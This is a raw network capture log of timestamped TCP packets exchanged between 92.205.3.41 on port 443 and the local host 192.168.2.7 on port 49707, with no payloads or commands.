Dec 29, 2024 08:56:04.924076080 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:04.924139023 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:04.926846981 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:04.926908970 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:04.929481030 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:04.929548979 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:04.932885885 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:04.932950974 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:04.935523033 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:04.935590982 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:04.938282967 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:04.938349962 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:04.940906048 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:04.940974951 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.097971916 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.098150015 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.101409912 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.101505995 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.104140997 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.104212999 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.106934071 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.107002020 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.110349894 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.110444069 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.112801075 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.112865925 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.115583897 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.115670919 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.118242025 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.118311882 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.121634007 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.121706009 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.124322891 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.124386072 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.127458096 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.127525091 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.130130053 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.130198002 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.132767916 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.132834911 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.136147022 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.136214972 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.138788939 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.138854980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.141557932 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.141623974 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.298958063 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.299215078 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.301389933 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.301464081 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.303909063 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.303983927 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.307337046 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.307451010 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.309976101 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.310053110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.312767982 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.312841892 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.315433979 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.315509081 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.318789959 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.318872929 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.321523905 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.321599960 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.324227095 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.324300051 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.327230930 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.327301979 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.330003977 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.330070972 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.333328009 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.333405018 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.335974932 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.336113930 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.338784933 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.338865995 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.341322899 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.341396093 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.344758987 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.344938993 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.502522945 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.502769947 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.504560947 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.504640102 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.507186890 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.507256985 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.510601997 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.510669947 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.513247967 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.513353109 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.516004086 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.516074896 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.519423962 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.519500017 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.522037029 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.522104025 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.524863005 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.524926901 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.527755976 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.527936935 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.530540943 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.530611038 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.533166885 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.533242941 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.536559105 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.536627054 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.539328098 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.539396048 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.541910887 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.541976929 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.545568943 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.545635939 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.701845884 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.701955080 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.704698086 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.704879045 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.707336903 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.707395077 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.710742950 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.710802078 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.713407993 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.713469982 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.716149092 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.716221094 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.718703985 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.718880892 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.722182989 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.722254038 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.724822998 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.724896908 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.727581978 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.727644920 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.730689049 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.730752945 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.733292103 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.733376980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.736715078 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.736778975 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.739371061 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.739439011 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.742100000 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.742162943 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.744757891 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.744818926 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.902631044 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.902759075 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.904690027 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.904757977 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.908222914 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.908292055 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.910804033 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.910871983 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.913592100 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.913655996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.916208982 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.916275024 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.919642925 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.919704914 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.922378063 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.922444105 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.925000906 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.925065041 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.928440094 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.928531885 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.930735111 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.930808067 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.934135914 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.934195995 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.936788082 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.936850071 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.939543009 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.939608097 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.942292929 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.942359924 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.945574045 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.945633888 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:05.948355913 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:05.948420048 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.105098963 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.105304956 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.108511925 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.108577013 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.111175060 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.111238956 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.114259005 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.114326000 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.116528034 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.116592884 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.119966984 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.120033026 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.122603893 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.122667074 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.125355959 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.125417948 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.128763914 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.128856897 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.131122112 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.131191015 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.134495974 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.134558916 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.137144089 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.137208939 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.139893055 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.139955044 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.142553091 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.142631054 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.145939112 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.146006107 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.148570061 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.148633003 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.305949926 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.306054115 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.308576107 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.308643103 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.311348915 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.311414957 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.313981056 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.314045906 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.317382097 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.317446947 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.320106030 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.320178032 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.322755098 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.322818995 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.326159000 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.326225996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.328820944 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.328890085 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.331883907 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.331948996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.334557056 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.334618092 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.337317944 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.337369919 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.339874983 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.339934111 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.343333006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.343394995 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.346086979 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.346144915 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.348723888 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.348790884 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.506164074 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.506241083 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.508388996 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.508460045 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.511801958 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.511883020 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.514524937 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.514602900 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.517119884 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.517194033 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.520555973 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.520637989 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.523245096 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.523334980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.525959015 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.526026964 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.528548002 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.528621912 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.531982899 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.532058954 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.534388065 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.534471035 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.537703991 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.537765980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.540450096 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.540518045 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.543140888 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.543211937 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.546505928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.546576023 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.549149036 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.549221039 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.551893950 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.551963091 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.709304094 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.709394932 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.713193893 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.713388920 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.715704918 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.715779066 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.718614101 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.718688011 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.721065044 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.721128941 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.724625111 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.724689007 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.727399111 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.727464914 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.729940891 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.730006933 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.733418941 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.733503103 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.736099005 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.736171961 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.739166975 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.739243984 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.741720915 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.741832972 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.744570971 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.744642973 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.748910904 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.749044895 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.750634909 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.750699043 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.753253937 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.753317118 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.910130024 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.910231113 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.914630890 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.914704084 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.917068958 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.917133093 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.918860912 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.918925047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.921571016 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.921633959 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.924890041 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.924952030 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.927519083 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.927583933 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.933712959 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.933780909 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.935823917 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.935887098 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.938810110 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.938874960 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.940093994 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.940151930 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.941498041 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.941560984 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.944245100 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.944396019 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.946902990 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.946969986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.950311899 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.950375080 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:06.953048944 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:06.953113079 CET	49707	443	192.168.2.7	92.205.3.41
